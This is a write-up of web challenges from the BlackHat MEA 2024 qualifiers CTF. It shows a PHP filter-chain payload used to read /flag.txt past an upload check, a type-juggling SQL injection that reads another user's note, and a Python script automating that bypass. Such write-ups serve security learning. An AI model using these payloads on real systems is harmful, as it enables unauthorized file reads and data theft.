BlackHat MEA 2024 Qualifiers – Web Challenge Write-Ups#

Challenge Description#

All love for Watermelons 🍉🍉🍉
Note: The code is not jailed — take care while crafting exploits.

🔗 Challenge Files

Walkthrough#

Challenge Description#

Free Free

🔗 Challenge Files

Exploit Strategy#

The application checked for specific content in uploaded files. We used the wrapwarp tool to generate a filtered payload:

1
python3 wrapwarp.py /flag.txt "<?php" "?>" 100

This created a long filter chain, bypassing content restrictions:

1
php://filter/convert.base64-encode|convert.iconv.855.UTF7|...

🏁 Retrieving the Flag#

Posting the payload allowed us to bypass file inspection and retrieve the flag from inside a PHP wrapper.

Challenge Description#

I created a note-sharing site. Don’t try to access other people’s notes — grass isn’t greener :’(

🔗 Challenge Files

Vulnerability: Type Juggling → Logic Flaw#

The app lets users view notes using an ID and secret. But the viewNote endpoint didn’t validate input types, allowing arrays to be passed.

Sending:

1
/viewNote?note_id=66&note_secret[username]=admin

Resulted in this SQL query:

1
SELECT note_id, username, note FROM notes
2
WHERE note_id = '66' AND secret = `username` = 'admin'

Which simplifies to:

1
... WHERE note_id = '66' AND 1

The condition evaluates true because the username='admin' exists.

Alternative Bypass#

If username isn’t available, we could still bypass with:

1
/viewNote?note_id=66&note_secret[note]=test

Exploit Script#

The session expired quickly (under 3 seconds), so we automated the entire flow:

1
import requests
2

3
base_url = 'http://a7c623f98ed8647acdccc.playat.flagyard.com'
4
username = "hanzala"
5
password = "11223344"
6

7
sess = requests.Session()
8
sess.post(f"{base_url}/register", data={"username": username, "password": password})
9
sess.post(f"{base_url}/login", data={"username": username, "password": password})
10

11
target_url = f"{base_url}/viewNote?note_id=66&note_secret[username]=admin"
12
exp = sess.get(target_url)
13
print(f"Flag: {exp.json()[0]['note']}")